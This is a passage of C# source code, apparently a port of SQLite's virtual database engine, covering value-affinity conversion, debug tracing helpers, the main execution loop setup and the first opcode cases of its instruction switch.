  ** SQLITE_AFF_REAL:\n    ** SQLITE_AFF_NUMERIC:\n    **    Try to convert pRec to an integer representation or a\n    **    floating-point representation if an integer representation\n    **    is not possible.  Note that the integer representation is\n    **    always preferred, even if the affinity is REAL, because\n    **    an integer representation is more space efficient on disk.\n    **\n    ** SQLITE_AFF_TEXT:\n    **    Convert pRec to a text representation.\n    **\n    ** SQLITE_AFF_NONE:\n    **    No-op.  pRec is unchanged.\n    */\n    static void applyAffinity(\n    Mem pRec,          /* The value to apply affinity to */\n    char affinity,      /* The affinity to be applied */\n    int enc              /* Use this text encoding */\n    )\n    {\n      if ( affinity == SQLITE_AFF_TEXT )\n      {\n        /* Only attempt the conversion to TEXT if there is an integer or real\n        ** representation (blob and NULL do not get converted) but no string\n        ** representation.\n        */\n        if ( 0 == ( pRec.flags & MEM_Str ) && ( pRec.flags & ( MEM_Real | MEM_Int ) ) != 0 )\n        {\n          sqlite3VdbeMemStringify( pRec, enc );\n        }\n        if ( ( pRec.flags & ( MEM_Blob | MEM_Str ) ) == ( MEM_Blob | MEM_Str ) )\n        {\n          StringBuilder sb = new StringBuilder( pRec.zBLOB.Length );\n          for ( int i = 0 ; i < pRec.zBLOB.Length ; i++ ) sb.Append( (char)pRec.zBLOB[i] );\n          pRec.z = sb.ToString();\n          pRec.zBLOB = null;\n          pRec.flags = (u16)( pRec.flags & ~MEM_Blob );\n        }\n        pRec.flags = (u16)( pRec.flags & ~( MEM_Real | MEM_Int ) );\n      }\n      else if ( affinity != SQLITE_AFF_NONE )\n      {\n        Debug.Assert( affinity == SQLITE_AFF_INTEGER || affinity == SQLITE_AFF_REAL\n        || affinity == SQLITE_AFF_NUMERIC );\n        applyNumericAffinity( pRec );\n        if ( ( pRec.flags & MEM_Real ) != 0 )\n        {\n          sqlite3VdbeIntegerAffinity( pRec );\n        }\n      }\n    }\n\n    /*\n    ** Try to convert the type of a function argument or a result column\n    ** into a numeric representation.  Use either INTEGER or REAL whichever\n    ** is appropriate.  But only do the conversion if it is possible without\n    ** loss of information and return the revised type of the argument.\n    **\n    ** This is an EXPERIMENTAL api and is subject to change or removal.\n    */\n    static int sqlite3_value_numeric_type( sqlite3_value pVal )\n    {\n      Mem pMem = (Mem)pVal;\n      applyNumericAffinity( pMem );\n      storeTypeInfo( pMem, 0 );\n      return pMem.type;\n    }\n\n    /*\n    ** Exported version of applyAffinity(). This one works on sqlite3_value*,\n    ** not the internal Mem type.\n    */\n    static void sqlite3ValueApplyAffinity(\n    sqlite3_value pVal,\n    char affinity,\n    int enc\n    )\n    {\n      applyAffinity( (Mem)pVal, affinity, enc );\n    }\n\n#if SQLITE_DEBUG\n    /*\n** Write a nice string representation of the contents of cell pMem\n** into buffer zBuf, length nBuf.\n*/\n    static void sqlite3VdbeMemPrettyPrint( Mem pMem, StringBuilder zBuf )\n    {\n      zBuf.Length = 0;\n      string zCsr = \"\";\n      int f = pMem.flags;\n\n      string[] encnames = new string[] { \"(X)\", \"(8)\", \"(16LE)\", \"(16BE)\" };\n\n      if ( ( f & MEM_Blob ) != 0 )\n      {\n        int i;\n        char c;\n        if ( ( f & MEM_Dyn ) != 0 )\n        {\n          c = 'z';\n          Debug.Assert( ( f & ( MEM_Static | MEM_Ephem ) ) == 0 );\n        }\n        else if ( ( f & MEM_Static ) != 0 )\n        {\n          c = 't';\n          Debug.Assert( ( f & ( MEM_Dyn | MEM_Ephem ) ) == 0 );\n        }\n        else if ( ( f & MEM_Ephem ) != 0 )\n        {\n          c = 'e';\n          Debug.Assert( ( f & ( MEM_Static | MEM_Dyn ) ) == 0 );\n        }\n        else\n        {\n          c = 's';\n        }\n\n        sqlite3_snprintf( 100, ref zCsr, \"%c\", c );\n        zBuf.Append( zCsr );//zCsr += sqlite3Strlen30(zCsr);\n        sqlite3_snprintf( 100, ref  zCsr, \"%d[\", pMem.n );\n        zBuf.Append( zCsr );//zCsr += sqlite3Strlen30(zCsr);\n        for ( i = 0 ; i < 16 && i < pMem.n ; i++ )\n        {\n          sqlite3_snprintf( 100, ref zCsr, \"%02X\", ( (int)pMem.zBLOB[i] & 0xFF ) );\n          zBuf.Append( zCsr );//zCsr += sqlite3Strlen30(zCsr);\n        }\n        for ( i = 0 ; i < 16 && i < pMem.n ; i++ )\n        {\n          char z = (char)pMem.zBLOB[i];\n          if ( z < 32 || z > 126 ) zBuf.Append( '.' );//*zCsr++ = '.';\n          else zBuf.Append( z );//*zCsr++ = z;\n        }\n\n        sqlite3_snprintf( 100, ref zCsr, \"]%s\", encnames[pMem.enc] );\n        zBuf.Append( zCsr );//zCsr += sqlite3Strlen30(zCsr);\n        if ( ( f & MEM_Zero ) != 0 )\n        {\n          sqlite3_snprintf( 100, ref zCsr, \"+%dz\", pMem.u.nZero );\n          zBuf.Append( zCsr );//zCsr += sqlite3Strlen30(zCsr);\n        }\n        //*zCsr = '\\0';\n      }\n      else if ( ( f & MEM_Str ) != 0 )\n      {\n        int j, k;\n        zBuf.Append( ' ' );\n        if ( ( f & MEM_Dyn ) != 0 )\n        {\n          zBuf.Append( 'z' );\n          Debug.Assert( ( f & ( MEM_Static | MEM_Ephem ) ) == 0 );\n        }\n        else if ( ( f & MEM_Static ) != 0 )\n        {\n          zBuf.Append( 't' );\n          Debug.Assert( ( f & ( MEM_Dyn | MEM_Ephem ) ) == 0 );\n        }\n        else if ( ( f & MEM_Ephem ) != 0 )\n        {\n          zBuf.Append( 's' ); //zBuf.Append( 'e' );\n          Debug.Assert( ( f & ( MEM_Static | MEM_Dyn ) ) == 0 );\n        }\n        else\n        {\n          zBuf.Append( 's' );\n        }\n        k = 2;\n        sqlite3_snprintf( 100, ref zCsr, \"%d\", pMem.n );//zBuf[k], \"%d\", pMem.n );\n        zBuf.Append( zCsr );\n        //k += sqlite3Strlen30( &zBuf[k] );\n        zBuf.Append( '[' );// zBuf[k++] = '[';\n        for ( j = 0 ; j < 15 && j < pMem.n ; j++ )\n        {\n          u8 c = pMem.z != null ? (u8)pMem.z[j] : pMem.zBLOB[j];\n          if ( c >= 0x20 && c < 0x7f )\n          {\n            zBuf.Append( (char)c );//zBuf[k++] = c;\n          }\n          else\n          {\n            zBuf.Append( '.' );//zBuf[k++] = '.';\n          }\n        }\n        zBuf.Append( ']' );//zBuf[k++] = ']';\n        sqlite3_snprintf( 100, ref zCsr, encnames[pMem.enc] );//& zBuf[k], encnames[pMem.enc] );\n        zBuf.Append( zCsr );\n        //k += sqlite3Strlen30( &zBuf[k] );\n        //zBuf[k++] = 0;\n      }\n    }\n#endif\n\n#if SQLITE_DEBUG\n    /*\n** Print the value of a register for tracing purposes:\n*/\n    static void memTracePrint( FILE _out, Mem p )\n    {\n      if ( ( p.flags & MEM_Null ) != 0 )\n      {\n        fprintf( _out, \" NULL\" );\n      }\n      else if ( ( p.flags & ( MEM_Int | MEM_Str ) ) == ( MEM_Int | MEM_Str ) )\n      {\n        fprintf( _out, \" si:%lld\", p.u.i );\n#if !SQLITE_OMIT_FLOATING_POINT\n      }\n      else if ( ( p.flags & MEM_Int ) != 0 )\n      {\n        fprintf( _out, \" i:%lld\", p.u.i );\n#endif\n      }\n      else if ( ( p.flags & MEM_Real ) != 0 )\n      {\n        fprintf( _out, \" r:%g\", p.r );\n      }\n      else if ( ( p.flags & MEM_RowSet ) != 0 )\n      {\n        fprintf( _out, \" (rowset)\" );\n      }\n      else\n      {\n        StringBuilder zBuf = new StringBuilder( 200 );\n        sqlite3VdbeMemPrettyPrint( p, zBuf );\n        fprintf( _out, \" \" );\n        fprintf( _out, \"%s\", zBuf );\n      }\n    }\n    static void registerTrace( FILE _out, int iReg, Mem p )\n    {\n      fprintf( _out, \"reg[%d] = \", iReg );\n      memTracePrint( _out, p );\n      fprintf( _out, \"\\n\" );\n    }\n#endif\n\n#if SQLITE_DEBUG\n    //#  define REGISTER_TRACE(R,M) if(p.trace)registerTrace(p.trace,R,M)\n    static void REGISTER_TRACE( Vdbe p, int R, Mem M )\n    {\n      if ( p.trace != null ) registerTrace( p.trace, R, M );\n    }\n#else\n//#  define REGISTER_TRACE(R,M)\nstatic void REGISTER_TRACE( Vdbe p, int R, Mem M ) { }\n#endif\n\n\n#if VDBE_PROFILE\n\n/*\n** hwtime.h contains inline assembler code for implementing\n** high-performance timing routines.\n*/\n//#include \"hwtime.h\"\n\n#endif\n\n    /*\n** The CHECK_FOR_INTERRUPT macro defined here looks to see if the\n** sqlite3_interrupt() routine has been called.  If it has been, then\n** processing of the VDBE program is interrupted.\n**\n** This macro added to every instruction that does a jump in order to\n** implement a loop.  This test used to be on every single instruction,\n** but that meant we more testing that we needed.  By only testing the\n** flag on jump instructions, we get a (small) speed improvement.\n*/\n    //#define CHECK_FOR_INTERRUPT \\\n    //   if( db.u1.isInterrupted ) goto abort_due_to_interrupt;\n\n\n#if SQLITE_DEBUG\n    static int fileExists( sqlite3 db, string zFile )\n    {\n      int res = 0;\n      int rc = SQLITE_OK;\n#if SQLITE_TEST\n      /* If we are currently testing IO errors, then do not call OsAccess() to\n** test for the presence of zFile. This is because any IO error that\n** occurs here will not be reported, causing the test to fail.\n*/\n      //extern int sqlite3_io_error_pending;\n      if ( sqlite3_io_error_pending.iValue <= 0 )\n#endif\n        rc = sqlite3OsAccess( db.pVfs, zFile, SQLITE_ACCESS_EXISTS, ref res );\n      return ( res != 0 && rc == SQLITE_OK ) ? 1 : 0;\n    }\n#endif\n\n#if !NDEBUG\n    /*\n** This function is only called from within an assert() expression. It\n** checks that the sqlite3.nTransaction variable is correctly set to\n** the number of non-transaction savepoints currently in the\n** linked list starting at sqlite3.pSavepoint.\n**\n** Usage:\n**\n**     assert( checkSavepointCount(db) );\n*/\n    static int checkSavepointCount( sqlite3 db )\n    {\n      int n = 0;\n      Savepoint p;\n      for ( p = db.pSavepoint ; p != null ; p = p.pNext ) n++;\n      Debug.Assert( n == ( db.nSavepoint + db.isTransactionSavepoint ) );\n      return 1;\n    }\n#else\nstatic int checkSavepointCount( sqlite3 db ) { return 1; }\n#endif\n\n    /*\n** Execute as much of a VDBE program as we can then return.\n**\n** sqlite3VdbeMakeReady() must be called before this routine in order to\n** close the program with a final OP_Halt and to set up the callbacks\n** and the error message pointer.\n**\n** Whenever a row or result data is available, this routine will either\n** invoke the result callback (if there is one) or return with\n** SQLITE_ROW.\n**\n** If an attempt is made to open a locked database, then this routine\n** will either invoke the busy callback (if there is one) or it will\n** return SQLITE_BUSY.\n**\n** If an error occurs, an error message is written to memory obtained\n** from sqlite3Malloc() and p.zErrMsg is made to point to that memory.\n** The error code is stored in p.rc and this routine returns SQLITE_ERROR.\n**\n** If the callback ever returns non-zero, then the program exits\n** immediately.  There will be no error message but the p.rc field is\n** set to SQLITE_ABORT and this routine will return SQLITE_ERROR.\n**\n** A memory allocation error causes p.rc to be set to SQLITE_NOMEM and this\n** routine to return SQLITE_ERROR.\n**\n** Other fatal errors return SQLITE_ERROR.\n**\n** After this routine has finished, sqlite3VdbeFinalize() should be\n** used to clean up the mess that was left behind.\n*/\n    static int sqlite3VdbeExec(\n    Vdbe p                         /* The VDBE */\n    )\n    {\n      int pc;                      /* The program counter */\n      Op pOp;                      /* Current operation */\n      int rc = SQLITE_OK;          /* Value to return */\n      sqlite3 db = p.db;           /* The database */\n      u8 encoding = ENC( db );       /* The database encoding */\n      Mem pIn1 = null;             /* 1st input operand */\n      Mem pIn2 = null;             /* 2nd input operand */\n      Mem pIn3 = null;             /* 3rd input operand */\n      Mem pOut = null;             /* Output operand */\n      int opProperty;\n      int iCompare = 0;            /* Result of last OP_Compare operation */\n      int[] aPermute = null;       /* Permutation of columns for OP_Compare */\n#if VDBE_PROFILE\nu64 start;                   /* CPU clock count at start of opcode */\nint origPc;                  /* Program counter at start of opcode */\n#endif\n#if !SQLITE_OMIT_PROGRESS_CALLBACK\n      int nProgressOps = 0;      /* Opcodes executed since progress callback. */\n#endif\n      /*** INSERT STACK UNION HERE ***/\n\n      Debug.Assert( p.magic == VDBE_MAGIC_RUN );  /* sqlite3_step() verifies this */\n#if SQLITE_DEBUG\n      Debug.Assert( db.magic == SQLITE_MAGIC_BUSY );\n#endif\n      sqlite3VdbeMutexArrayEnter( p );\n      if ( p.rc == SQLITE_NOMEM )\n      {\n        /* This happens if a malloc() inside a call to sqlite3_column_text() or\n        ** sqlite3_column_text16() failed.  */\n        goto no_mem;\n      }\n      Debug.Assert( p.rc == SQLITE_OK || p.rc == SQLITE_BUSY );\n      p.rc = SQLITE_OK;\n      Debug.Assert( p.explain == 0 );\n      p.pResultSet = null;\n      db.busyHandler.nBusy = 0;\n      if ( db.u1.isInterrupted ) goto abort_due_to_interrupt; //CHECK_FOR_INTERRUPT;\n#if TRACE\n      sqlite3VdbeIOTraceSql( p );\n#endif\n#if SQLITE_DEBUG\n      sqlite3BeginBenignMalloc();\n      if ( p.pc == 0\n      && ( ( p.db.flags & SQLITE_VdbeListing ) != 0 || fileExists( db, \"vdbe_explain\" ) != 0 )\n      )\n      {\n        int i;\n        Console.Write( \"VDBE Program Listing:\\n\" );\n        sqlite3VdbePrintSql( p );\n        for ( i = 0 ; i < p.nOp ; i++ )\n        {\n          sqlite3VdbePrintOp( Console.Out, i, p.aOp[i] );\n        }\n      }\n      if ( fileExists( db, \"vdbe_trace\" ) != 0 )\n      {\n        p.trace = Console.Out;\n      }\n      sqlite3EndBenignMalloc();\n#endif\n      for ( pc = p.pc ; rc == SQLITE_OK ; pc++ )\n      {\n        Debug.Assert( pc >= 0 && pc < p.nOp );\n  //      if ( db.mallocFailed != 0 ) goto no_mem;\n#if VDBE_PROFILE\norigPc = pc;\nstart = sqlite3Hwtime();\n#endif\n        pOp = p.aOp[pc];\n\n        /* Only allow tracing if SQLITE_DEBUG is defined.\n        */\n#if SQLITE_DEBUG\n        if ( p.trace != null )\n        {\n          if ( pc == 0 )\n          {\n            printf( \"VDBE Execution Trace:\\n\" );\n            sqlite3VdbePrintSql( p );\n          }\n          sqlite3VdbePrintOp( p.trace, pc, pOp );\n        }\n        if ( p.trace == null && pc == 0 )\n        {\n          sqlite3BeginBenignMalloc();\n          if ( fileExists( db, \"vdbe_sqltrace\" ) != 0 )\n          {\n            sqlite3VdbePrintSql( p );\n          }\n          sqlite3EndBenignMalloc();\n        }\n#endif\n\n\n        /* Check to see if we need to simulate an interrupt.  This only happens\n** if we have a special test build.\n*/\n#if SQLITE_TEST\n        if ( sqlite3_interrupt_count > 0 )\n        {\n          sqlite3_interrupt_count--;\n          if ( sqlite3_interrupt_count == 0 )\n          {\n            sqlite3_interrupt( db );\n          }\n        }\n#endif\n\n#if !SQLITE_OMIT_PROGRESS_CALLBACK\n        /* Call the progress callback if it is configured and the required number\n** of VDBE ops have been executed (either since this invocation of\n** sqlite3VdbeExec() or since last time the progress callback was called).\n** If the progress callback returns non-zero, exit the virtual machine with\n** a return code SQLITE_ABORT.\n*/\n        if ( db.xProgress != null )\n        {\n          if ( db.nProgressOps == nProgressOps )\n          {\n            int prc;\n#if SQLITE_DEBUG\n            if ( sqlite3SafetyOff( db ) ) goto abort_due_to_misuse;\n#endif\n            prc = db.xProgress( db.pProgressArg );\n#if SQLITE_DEBUG\n            if ( sqlite3SafetyOn( db ) ) goto abort_due_to_misuse;\n#endif\n            if ( prc != 0 )\n            {\n              rc = SQLITE_INTERRUPT;\n              goto vdbe_error_halt;\n            }\n            nProgressOps = 0;\n          }\n          nProgressOps++;\n        }\n#endif\n\n        /* Do common setup processing for any opcode that is marked\n** with the \"out2-prerelease\" tag.  Such opcodes have a single\n** output which is specified by the P2 parameter.  The P2 register\n** is initialized to a NULL.\n*/\n        opProperty = opcodeProperty[pOp.opcode];\n        if ( ( opProperty & OPFLG_OUT2_PRERELEASE ) != 0 )\n        {\n          Debug.Assert( pOp.p2 > 0 );\n          Debug.Assert( pOp.p2 <= p.nMem );\n          pOut = p.aMem[pOp.p2];\n          sqlite3VdbeMemReleaseExternal( pOut );\n          pOut.flags = MEM_Null;\n          pOut.n = 0;\n        }\n        else\n\n          /* Do common setup for opcodes marked with one of the following\n          ** combinations of properties.\n          **\n          **           in1\n          **           in1 in2\n          **           in1 in2 out3\n          **           in1 in3\n          **\n          ** Variables pIn1, pIn2, and pIn3 are made to point to appropriate\n          ** registers for inputs.  Variable pOut points to the output register.\n          */\n          if ( ( opProperty & OPFLG_IN1 ) != 0 )\n          {\n            Debug.Assert( pOp.p1 > 0 );\n            Debug.Assert( pOp.p1 <= p.nMem );\n            pIn1 = p.aMem[pOp.p1];\n            REGISTER_TRACE( p, pOp.p1, pIn1 );\n            if ( ( opProperty & OPFLG_IN2 ) != 0 )\n            {\n              Debug.Assert( pOp.p2 > 0 );\n              Debug.Assert( pOp.p2 <= p.nMem );\n              pIn2 = p.aMem[pOp.p2];\n              REGISTER_TRACE( p, pOp.p2, pIn2 );\n              if ( ( opProperty & OPFLG_OUT3 ) != 0 )\n              {\n                Debug.Assert( pOp.p3 > 0 );\n                Debug.Assert( pOp.p3 <= p.nMem );\n                pOut = p.aMem[pOp.p3];\n              }\n            }\n            else if ( ( opProperty & OPFLG_IN3 ) != 0 )\n            {\n              Debug.Assert( pOp.p3 > 0 );\n              Debug.Assert( pOp.p3 <= p.nMem );\n              pIn3 = p.aMem[pOp.p3];\n#if SQLITE_DEBUG\n              REGISTER_TRACE( p, pOp.p3, pIn3 );\n#endif\n            }\n          }\n          else if ( ( opProperty & OPFLG_IN2 ) != 0 )\n          {\n            Debug.Assert( pOp.p2 > 0 );\n            Debug.Assert( pOp.p2 <= p.nMem );\n            pIn2 = p.aMem[pOp.p2];\n#if SQLITE_DEBUG\n            REGISTER_TRACE( p, pOp.p2, pIn2 );\n#endif\n          }\n          else if ( ( opProperty & OPFLG_IN3 ) != 0 )\n          {\n            Debug.Assert( pOp.p3 > 0 );\n            Debug.Assert( pOp.p3 <= p.nMem );\n            pIn3 = p.aMem[pOp.p3];\n#if SQLITE_DEBUG\n            REGISTER_TRACE( p, pOp.p3, pIn3 );\n#endif\n          }\n\n        switch ( pOp.opcode )\n        {\n\n          /*****************************************************************************\n          ** What follows is a massive switch statement where each case implements a\n          ** separate instruction in the virtual machine.  If we follow the usual\n          ** indentation conventions, each case should be indented by 6 spaces.  But\n          ** that is a lot of wasted space on the left margin.  So the code within\n          ** the switch statement will break with convention and be flush-left. Another\n          ** big comment (similar to this one) will mark the point in the code where\n          ** we transition back to normal indentation.\n          **\n          ** The formatting of each case is important.  The makefile for SQLite\n          ** generates two C files \"opcodes.h\" and \"opcodes.c\" by scanning this\n          ** file looking for lines that begin with \"case OP_\".  The opcodes.h files\n          ** will be filled with #defines that give unique integer values to each\n          ** opcode and the opcodes.c file is filled with an array of strings where\n          ** each string is the symbolic name for the corresponding opcode.  If the\n          ** case statement is followed by a comment of the form \"/# same as ... #/\"\n          ** that comment is used to determine the particular value of the opcode.\n          **\n          ** Other keywords in the comment that follows each case are used to\n          ** construct the OPFLG_INITIALIZER value that initializes opcodeProperty[].\n          ** Keywords include: in1, in2, in3, out2_prerelease, out2, out3.  See\n          ** the mkopcodeh.awk script for additional information.\n          **\n          ** Documentation about VDBE opcodes is generated by scanning this file\n          ** for lines of that contain \"Opcode:\".  That line and all subsequent\n          ** comment lines are used in the generation of the opcode.html documentation\n          ** file.\n          **\n          ** SUMMARY:\n          **\n          **     Formatting is important to scripts that scan this file.\n          **     Do not deviate from the formatting style currently in use.\n          **\n          *****************************************************************************/\n\n          /* Opcode:  Goto * P2 * * *\n          **\n          ** An unconditional jump to address P2.\n          ** The next instruction executed will be\n          ** the one at index P2 from the beginning of\n          ** the program.\n          */\n          case OP_Goto:\n            {             /* jump */\n              if ( db.u1.isInterrupted ) goto abort_due_to_interrupt; //CHECK_FOR_INTERRUPT;\n              pc = pOp.p2 - 1;\n              break;\n            }\n\n          /* Opcode:  Gosub P1 P2 * * *\n          **\n          ** Write the current address onto register P1\n          ** and then jump to address P2.\n          */\n          case OP_Gosub:\n            {            /* jump */\n              Debug.Assert( pOp.p1 > 0 );\n              Debug.Assert( pOp.p1 <= p.nMem );\n              pIn1 = p.aMem[pOp.p1];\n              Debug.Assert( ( pIn1.flags & MEM_Dyn ) == 0 );\n              pIn1.flags = MEM_Int;\n              pIn1.u.i = pc;\n              REGISTER_TRACE( p, pOp.p1, pIn1 );\n              pc = pOp.p2 - 1;\n              break;\n            }\n\n          /* Opcode:  Return P1 * * * *\n          **\n          ** Jump to the next instruction after the address in register P1.\n          */\n          case OP_Return:\n            {           /* in1 */\n              Debug.Assert( ( pIn1.flags & MEM_Int ) != 0 );\n              pc = (int)pIn1.u.i;\n              break;\n            }\n\n          /* Opcode:  Yield P1 * * * *\n          **\n          ** Swap the program counter with the value in register P1.\n          */\n          case OP_Yield:\n            {            /* in1 */\n              int pcDest;\n              Debug.Assert( ( pIn1.flags & MEM_Dyn ) == 0 );\n              pIn1.flags = MEM_Int;\n              pcDest = (int)pIn1.u.i;\n              pIn1.u.i = pc;\n              REGISTER_TRACE( p, pOp.p1, pIn1 );\n              pc = pcDest;\n              break;\n            }\n\n          /* Opcode:  HaltIfNull  P1 P2 P3 P4 *\n          **\n          ** Check the value in register P3.  If is is NULL then Halt using\n          ** parameter P1, P2, and P4 as if this were a Halt instruction.  If the\n          ** value in register P3 is not NULL, then this routine is a no-op.\n          */\n          case OP_HaltIfNull:\n            {      /* in3 */\n              if ( ( pIn3.flags & MEM_Null ) == 0 ) break;\n              /* Fall through into OP_Halt */\n              goto case OP_Halt;\n            }\n\n          /* Opcode:  Halt P1 P2 * P4 *\n          **\n          ** Exit immediately.  All open cursors, etc are closed\n          ** automatically.\n          **\n          ** P1 is the result code returned by sqlite3_exec(), sqlite3_reset(),\n          ** or sqlite3_finalize().  For a normal halt, this should be SQLITE_OK (0).\n          ** For errors, it can be some other value.  If P1!=0 then P2 will determine\n          ** whether or not to rollback the current transaction.  Do not rollback\n          ** if P2==OE_Fail. Do the rollback if P2==OE_Rollback.  If P2==OE_Abort,\n          ** then back out all changes that have occurred during this execution of the\n          ** VDBE, but do not rollback the transaction.\n          **\n          ** If P4 is not null then it is an error message string.\n          **\n          ** There is an implied \"Halt 0 0 0\" instruction inserted at the very end of\n          ** every program.  So a jump past the last instruction of the program\n          ** is the same as executing Halt.\n          */\n          case OP_Halt:\n            {\n              p.rc = pOp.p1;\n              p.pc = pc;\n              p.errorAction = (u8)pOp.p2;\n              if ( pOp.p4.z != null )\n              {\n                sqlite3SetString( ref p.zErrMsg, db, \"%s\", pOp.p4.z );\n              }\n              rc = sqlite3VdbeHalt( p );\n              Debug.Assert( rc == SQLITE_BUSY || rc == SQLITE_OK );\n              if ( rc == SQLITE_BUSY )\n              {\n                p.rc = rc = SQLITE_BUSY;\n              }\n              else\n              {\n                rc = p.rc != 0 ? SQLITE_ERROR : SQLITE_DONE;\n              }\n              goto vdbe_return;\n            }\n\n          /* Opcode: Integer P1 P2 * * *\n          **\n          ** The 32-bit integer value P1 is written into register P2.\n          */\n          case OP_Integer:\n            {         /* out2-prerelease */\n              pOut.flags = MEM_Int;\n              pOut.u.i = pOp.p1;\n              break;\n            }\n\n          /* Opcode: Int64 * P2 * P4 *\n          **\n          ** P4 is a pointer to a 64-bit integer value.\n          ** Write that value into register P2.\n          */\n          case OP_Int64:\n            {           /* out2-prerelease */\n              // Integer pointer always exists Debug.Assert( pOp.p4.pI64 != 0 );\n              pOut.flags = MEM_Int;\n              pOut.u.i = pOp.p4.pI64;\n              break;\n            }\n\n          /* Opcode: Real * P2 * P4 *\n          **\n          ** P4 is a pointer to a 64-bit floating point value.\n          ** Write that value into register P2.\n          */\n          case OP_Real:\n            {            /* same as TK_FLOAT, out2-prerelease */\n              pOut.flags = MEM_Real;\n              Debug.Assert( !sqlite3IsNaN( pOp.p4.pReal ) );\n              pOut.r = pOp.p4.pReal;\n              break;\n            }\n\n          /* Opcode: String8 * P2 * P4 *\n          **\n          ** P4 points to a nul terminated UTF-8 string. This opcode is transformed\n          ** into an OP_String before it is executed for the first time.\n          */\n          case OP_String8:\n            {         /* same as TK_STRING, out2-prerelease */\n              Debug.Assert( pOp.p4.z != null );\n              pOp.opcode = OP_String;\n              pOp.p1 = sqlite3Strlen30( pOp.p4.z );\n\n#if !SQLITE_OMIT_UTF16\nif( encoding!=SQLITE_UTF8 ){\nrc = sqlite3VdbeMemSetStr(pOut, pOp->p4.z, -1, SQLITE_UTF8, SQLITE_STATIC);\nif( rc==SQLITE_TOOBIG ) goto too_big;\nif( SQLITE_OK!=sqlite3VdbeChangeEncoding(pOut, encoding) ) goto no_mem;\nassert( pOut->zMalloc==pOut->z );\nassert( pOut->flags & MEM_Dyn );\npOut->zMalloc = 0;\npOut->flags |= MEM_Static;\npOut->flags &= ~MEM_Dyn;\nif( pOp->p4type==P4_DYNAMIC ){\n//sqlite3DbFree(db, pOp->p4.z);\n}\npOp->p4type = P4_DYNAMIC;\npOp->p4.z = pOut->z;\npOp->p1 = pOut->n;\n}\n#endif\n              if ( pOp.p1 > db.aLimit[SQLITE_LIMIT_LENGTH] )\n              {\n                goto too_big;\n              }\n              /* Fall through to the next case, OP_String */\n              goto case OP_String;\n            }\n\n          /* Opcode: String P1 P2 * P4 *\n          **\n          ** The string value P4 of length P1 (bytes) is stored in register P2.\n          */\n          case OP_String:\n            {          /* out2-prerelease */\n              Debug.Assert( pOp.p4.z != null );\n              pOut.flags = MEM_Str | MEM_Static | MEM_Term;\n              pOut.zBLOB = null;\n              pOut.z = pOp.p4.z;\n              pOut.n = pOp.p1;\n              pOut.enc = encoding;\n#if SQLITE_TEST\n              UPDATE_MAX_BLOBSIZE( pOut );\n#endif\n              break;\n            }\n\n          /* Opcode: Null * P2 * * *\n          **\n          ** Write a NULL into register P2.\n          */\n          case OP_Null:\n            {           /* out2-prerelease */\n              break;\n            }\n\n\n          /* Opcode: Blob P1 P2 * P4\n          **\n          ** P4 points to a blob of data P1 bytes long.  Store this\n          ** blob in register P2. This instruction is not coded directly\n          ** by the compiler. Instead, the compiler layer specifies\n          ** an OP_HexBlob opcode, with the hex string representation of\n          ** the blob as P4. This opcode is transformed to an OP_Blob\n          ** the first time it is executed.\n          */\n          case OP_Blob:\n            {                /* out2-prerelease */\n              Debug.Assert( pOp.p1 <= db.aLimit[SQLITE_LIMIT_LENGTH] );\n              sqlite3VdbeMemSetStr( pOut, pOp.p4.z, pOp.p1, 0, null );\n              pOut.enc = encoding;\n#if SQLITE_TEST\n              UPDATE_MAX_BLOBSIZE( pOut );\n#endif\n              break;\n            }\n\n          /* Opcode: Variable P1 P2 P3 P4 *\n          **\n          ** Transfer the values of bound parameters P1..P1+P3-1 into registers\n          ** P2..P2+P3-1.\n          **\n          ** If the parameter is named, then its name appears in P4 and P3==1.\n          ** The P4 value is used by sqlite3_bind_parameter_name().\n          */\n          case OP_Variable:\n            {\n              int p1;          /* Variable to copy from */\n              int p2;          /* Register to copy to */\n              int n;           /* Number of values left to copy */\n              Mem pVar;        /* Value being transferred */\n\n              p1 = pOp.p1 - 1;\n              p2 = pOp.p2;\n              n = pOp.p3;\n              Debug.Assert( p1 >= 0 && p1 + n <= p.nVar );\n              Debug.Assert( p2 >= 1 && p2 + n - 1 <= p.nMem );\n              Debug.Assert( pOp.p4.z == null || pOp.p3 == 1 );\n\n              while ( n-- > 0 )\n              {\n                pVar = p.aVar[p1++];\n                if ( sqlite3VdbeMemTooBig( pVar ) )\n                {\n                  goto too_big;\n                }\n                pOut = p.aMem[p2++];\n                sqlite3VdbeMemReleaseExternal( pOut );\n                pOut.flags = MEM_Null;\n                sqlite3VdbeMemShallowCopy( pOut, pVar, MEM_Static );\n#if SQLITE_TEST\n                UPDATE_MAX_BLOBSIZE( pOut );\n#endif\n              }\n              break;\n            }\n\n          /* Opcode: Move P1 P2 P3 * *\n          **\n          ** Move the values in register P1..P1+P3-1 over into\n          ** registers P2..P2+P3-1.  Registers P1..P1+P1-1 are\n          ** left holding a NULL.  It is an error for register ranges\n          ** P1..P1+P3-1 and P2..P2+P3-1 to overlap.\n          */\n          case OP_Move:\n            {\n              //char* zMalloc;   /* Holding variable for allocated memory */\n              int n;           /* Number of registers left to copy */\n              int p1;          /* Register to copy from */\n              int p2;          /* Register to copy to */\n\n              n = pOp.p3;\n              p1 = pOp.p1;\n              p2 = pOp.p2;\n              Debug.Assert( n > 0 && p1 > 0 && p2 > 0 );\n              Debug.Assert( p1 + n <= p2 || p2 + n <= p1 );\n              //pIn1 = p.aMem[p1];\n              //pOut = p.aMem[p2];\n              while ( n-- != 0 )\n              {\n                pIn1 = p.aMem[p1 + pOp.p3 - n - 1];\n                pOut = p.aMem[p2];\n                //assert( pOut<=&p->aMem[p->nMem] );\n                //assert( pIn1<=&p->aMem[p->nMem] );\n                //zMalloc = pOut.zMalloc;\n                //pOut.zMalloc = null;\n                sqlite3VdbeMemMove( pOut, pIn1 );\n                //pIn1.zMalloc = zMalloc;\n                REGISTER_TRACE( p, p2++, pOut );\n                //pIn1++;\n                //pOut++;\n              }\n              break;\n            }\n\n          /* Opcode: Copy P1 P2 * * *\n          **\n          ** Make a copy of register P1 into register P2.\n          **\n          ** This instruction makes a deep copy of the value.  A duplicate\n          ** is made of any string or blob constant.  See also OP_SCopy.\n          */\n          case OP_Copy:\n            {             /* in1 */\n              Debug.Assert( pOp.p2 > 0 );\n              Debug.Assert( pOp.p2 <= p.nMem );\n              pOut = p.aMem[pOp.p2];\n              Debug.Assert( pOut != pIn1 );\n              sqlite3VdbeMemShallowCopy( pOut, pIn1, MEM_Ephem );\n              if ( ( pOut.flags & MEM_Ephem ) != 0 && sqlite3VdbeMemMakeWriteable( pOut ) != 0 ) { goto no_mem; }//Deephemeralize( pOut );\n#if SQLITE_DEBUG\n              